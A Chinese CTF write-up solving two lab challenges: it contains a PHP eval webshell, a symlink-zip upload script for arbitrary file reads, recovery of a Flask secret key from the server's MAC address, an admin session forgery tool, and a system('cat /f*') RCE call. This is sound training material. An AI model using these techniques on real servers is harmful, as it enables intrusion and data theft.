[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow)

news2024/11/8 0:38:40

 考核完对python软连接还是不熟悉,把这两道题在做一下

[HCTF 2018]Hideandseek

 登录注册之后发现可以上传文件,随便上传一个

回显说不是zip文件

 

上传一个zip文件,发现他会自动解析

上传了一个

GIF89a

<?php @eval($_POST['zxc']); ?>

应该是python软链接,尝试一下

把/etc/passwd创建一个软连接然后进行压缩 移动到windows进行连接

发现成功被解析

创建读取flag的软连接

发现没有回显,那应该是有其他的限制

在存储里找到了session值,怀疑进行了加密

破解一下 session_flask解密脚本

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

发现就是我登录的用户名

那用admin登陆一下试试

页面回显是这样的,说我不是admin,那核心思路就是伪造session加密,admin登录

已知的要session加密,python软连接  session伪造还需要Flask的SECRET_KEY

我们的关键就是找这个key

具体的可以参考我上篇wp

期中考核复现(web)-CSDN博客

可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表

通过它可以知道这道题的内核是什么

发现了东西

接着读取

 也就是uwsgi服务器的配置文件,其中可能包含有源码路径

读取出来的源码,他的源码路径并不是这个

原题main.py /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 

利用脚本读一下源码

脚本

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()

python3 1z_python_exp.py http://75ec8792-b1c0-4924-9e5e-3891286d3c07.node4.buuoj.cn:81/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

通过源码可以看出来他的key值是伪随机数加密

app.config['SECRET_KEY'] = str(random.random()*100) 

也给了我们破解的方法

random.seed(uuid.getnode())

Python之random.seed()用法 - 简书

uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址

若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address文件中,读取该文件:

读取到他的mac地址是 7a:01:6b:0a:e7:9e

 

通过Python3将其转换为十进制: 64341392183149

 种子值得到 64341392183149,编写Python构造SECRET_KEY的值:83.32926590066324

运行后,得到SECRET_KEY的值为:83.32926590066324,使用flask-session-cookie-manager构造Session: 

脚本:

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本有解密、加密两种功能,具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

python3 flask_session_cookie_manager3.py encode -s "83.32926590066324" -t "{'username': 'admin'}"

得到session值:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZTEtCw.AtIit8No9tp7uVS7eXb-UBQ4yUs

修改session值,得到flag 

Unzip 

还是,直接做软连接

得到源码

 分析代码

1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。
 
2. `highlight_file(__FILE__);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。
 
3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。
 
4. `if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){`:使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。
 
5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。 

大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生

 因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell

创建一个指向/var/www/html目录的软链接,因为html目录下是web环境(大部分情况是),为了后续可以getshell

可以看到这是一个链接文件,并且指向/var/www/html

打包到到1.zip,对link文件进行压缩  --symlinks表示压缩软连接

接下来创建木马文件夹

接下来创建的这个目录要上面创建的文件夹名字相同,所以我们这里先将之前创建的文件夹删除再创建

mkdir命令功能:

通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。

写入木马并打包,放到link文件夹里面 (加GIF89a的原因是之前直接用一句话木马会报错,连接不上)

打包成2.zip

上传木马,先上传1.zip,让其软连接指向var/www/html

返回 ,上传2.zip,进行rce,得到flag,传参 cmd=system('cat /f*');

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1114716.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mstsc改端口为33389

windows 远程默认端口3389不太安全&#xff0c;改成33389防下小人 把下面的2个文本存在后缀.reg的文件&#xff0c;双击导入注册表&#xff0c;"PortNumber"dword:0000826d 这个就是33389对应的端口号的16进制值&#xff0c;要想自己改成其它的换下值即可 Windows …

什么是超融合?超融合基础架构的本质是什么?

近年来各个行业对超融合&#xff08;Hyperconverged Infrastructure, 简称 HCI&#xff09;的关注度越来越高&#xff0c;但各家厂商的超融合架构实现方法各有不同。我们在这里不评判对错&#xff0c;也不去探究这些是不是真正的超融合&#xff0c;而是重新追本溯源&#xff0c…

jenkins 原理篇——pipeline流水线 声明式语法详解

大家好&#xff0c;我是蓝胖子&#xff0c;相信大家平时项目中或多或少都有用到jenkins&#xff0c;它的piepeline模式能够对项目的发布流程进行编排&#xff0c;优化部署效率&#xff0c;减少错误的发生&#xff0c;如何去写一个pipeline脚本呢&#xff0c;今天我们就来简单看…

行业追踪,2023-10-20

自动复盘 2023-10-20 凡所有相&#xff0c;皆是虚妄。若见诸相非相&#xff0c;即见如来。 k 线图是最好的老师&#xff0c;每天持续发布板块的rps排名&#xff0c;追踪板块&#xff0c;板块来开仓&#xff0c;板块去清仓&#xff0c;丢弃自以为是的想法&#xff0c;板块去留让…

Note——torch.size() umr_maximum() array.max() itertools.product()

torch.size Problem TypeError: ‘torch.Size’ object is not callable Reason Analysis torch.Size函数不可调用 因为torch只可以.size() 或 shape Solution 将y.shape()替换为y.size() 或 y.shape ytorch.normal(0,0.01,y.size())2 return umr_maximum(a, axis, None…

那些你面试必须知道的ES6知识点

目录 1、var、let、const的区别2、作用域考题3、合并两个对象4、箭头函数和普通函数的区别5、Promise有几种状态6、find和filter的区别7、some和every的区别 1、var、let、const的区别 区别一&#xff1a; var有变量提升&#xff0c;而let和const没有 <script>console.l…

英伟达禁售?FlashAttention助力LLM推理速度提8倍

人工智能领域快速发展&#xff0c;美国拥有强大的AI芯片算力&#xff0c;国内大部分的高端AI芯片都是采购英伟达和AMD的。而为了阻止中国人工智能领域发展&#xff0c;美国频繁采取出口管制措施。10月17日&#xff0c;美国拜登突然宣布&#xff0c;升级芯片出口禁令。英伟达限制…

【openwrt学习笔记】Dying Gasp功能和pstore功能的配置(高通 ipq95xx)

目录 一、Dying Gasp信号1.1 概念1.2 实现原理 二、pstore 功能2.1 概念2.2 实现原理 三、openwrt中开启pstore功能3.1 软硬件参数3.2 各文件修改3.2.1 defconfig3.2.2 dts(ipq9574-default-memory.dtsi)3.2.3 fs/pstore/ram.c 四、测试4.1 挂载4.2 触发命令和效果 参考资料&am…

cocos creator 在网页中调试的时候直接代码调试方法

cocos creator 在网页中调试的时候直接代码调试方法

数据结构───顺序表(梦开始的地方)

从一个编程小白到入门&#xff0c;大学选的软件工程&#xff0c;从大一开始就没有真正的了解这个专业&#xff0c;更别说以后的发展方向。活了几十年&#xff0c;也不知道自己究竟要成为一个什么样的人。似乎在大二的某一天&#xff0c;忽然意识到我不该如此庸碌下去&#xff0…

对话 L2 潜力新星 Mantle:模块化理念推动生态可持续建设

作为一个由 DAO 主导实现快速增长&#xff0c;致⼒推动⼤众应⽤与数字虚拟资产治理技术—— Mantle 如何凭借模块化设计理念、可扩展性技术优势、高效能数据处理机制在 Layer2 版图中成长为新晋潜力项目&#xff1f;从测试网到主网上线&#xff0c;Mantle 经历了数个技术更新阶…

【(数据结构)— 双向链表的实现】

&#xff08;数据结构&#xff09;— 双向链表的实现 一.双向链表的结构二. 双向链表的实现2.1 头文件 ——双向链表的创建及功能函数的定义2.2 源文件 ——双向链表的功能函数的实现2.3 源文件 ——双向链表功能的测试2.4 双向链表各项功能测试运行展示2.4.1 双向链表的初始化…

发现一不错的编程助手 Amazon CodeWhisperer

Amazon CodeWhisperer 是一款 AI 编程助手&#xff0c;旨在为开发人员提供智能化的编程辅助工具。作为一款基于人工智能的编程助手&#xff0c;CodeWhisperer 的目标是提高开发人员的生产效率、降低开发成本&#xff0c;并提供高质量的编程解决方案。 1.安装过程参考官网 htt…

C++11函数适配器bind() --- C++11新语法bind() 你了解多少?什么是适配器???

文章目录 1.介绍头文件定义原型 2.引入2.1现有语法无法解决2.2bind的文档阅读2.3bind()绑定函数对于2.1问题的解决 1.介绍 头文件 #include <functional> 定义 bind函数定义在头文件中&#xff0c;是一个函数模板&#xff0c;它就像一个函数包装器(适配器)&#xff0c…

苹果 AirPods Pro 2 耳机新固件(6A305)

苹果公司对采用 Lightning 端口和 USB-C 端口的 AirPods Pro 2 耳机&#xff0c;推出了内部编号为 6A305 的全新固件&#xff0c;高于 10 月 10 日发布的 6A303 更新。用户无需手动更新&#xff0c;只需将 AirPods 通过蓝牙连接到 iPhone &#xff0c;此时便会自动安装新的固件…

甄知科技张礼军:数智化转型助企业破茧成蝶!

数智化浪潮滚滚向前&#xff0c;正席卷各行各业&#xff0c;带领企业从数字化时代跨入数智化时代。可什么是数智化&#xff1f;如何实现数智化转型&#xff1f;已经成为横亘在无数企业面前的大难题&#xff01; 事实上&#xff0c;数智化是数字化、AI和业务三个要素的交集&…

SQLServe联合主键、联合索引、唯一索引,聚集索引,和非聚集索引、主键、唯一约束和外键约束、索引运算总结

联合主键 SQL server 中给表增加联合主键的两种方法 第一种方法&#xff0c;新建表时增加联合主键&#xff1a; create table t_students(id int not null,name varchar(10) not null Primary Key (id, name),age int,dept_id int )注&#xff1a;联合主键的列需要限制非空约…

操作系统【OS】系统调用

系统调用 定义 操作系统对应用程序和程序员提供的接口用户程序执行陷入指令&#xff08;Trap或访管指令&#xff09;来发起系统调用&#xff0c;请求操作系统提供服务OS 通过提供系统调用避免用户程序直接访问外设【应用程序通过系统调用使用OS的设备管理服务】操作系统不同, …

弹出框,使用树结构查询数据

效果如下: 描述:希望点击某个按钮,弹出一个窗口,然后通过下拉框,点击下拉框里面的组织信息,然后查询对应组织的成员对象列表,并展示到表格中 HTML代码(最主要的就是树的那个): <el-dialog :visible.sync="TesteePage.showDialog" width="70%&quo…

初出茅庐的小李博客之Windows11运行Linux记录

安装教程 超简单&#xff0c;不安装虚拟机&#xff0c;Windows11运行Linuxhttps://zhuanlan.zhihu.com/p/393484912 注意事项 出现错误有可能是少了驱动 驱动下载地址 https://link.zhihu.com/?targethttps%3A//wslstorestorage.blob.core.windows.net/wslblob/wsl_updat…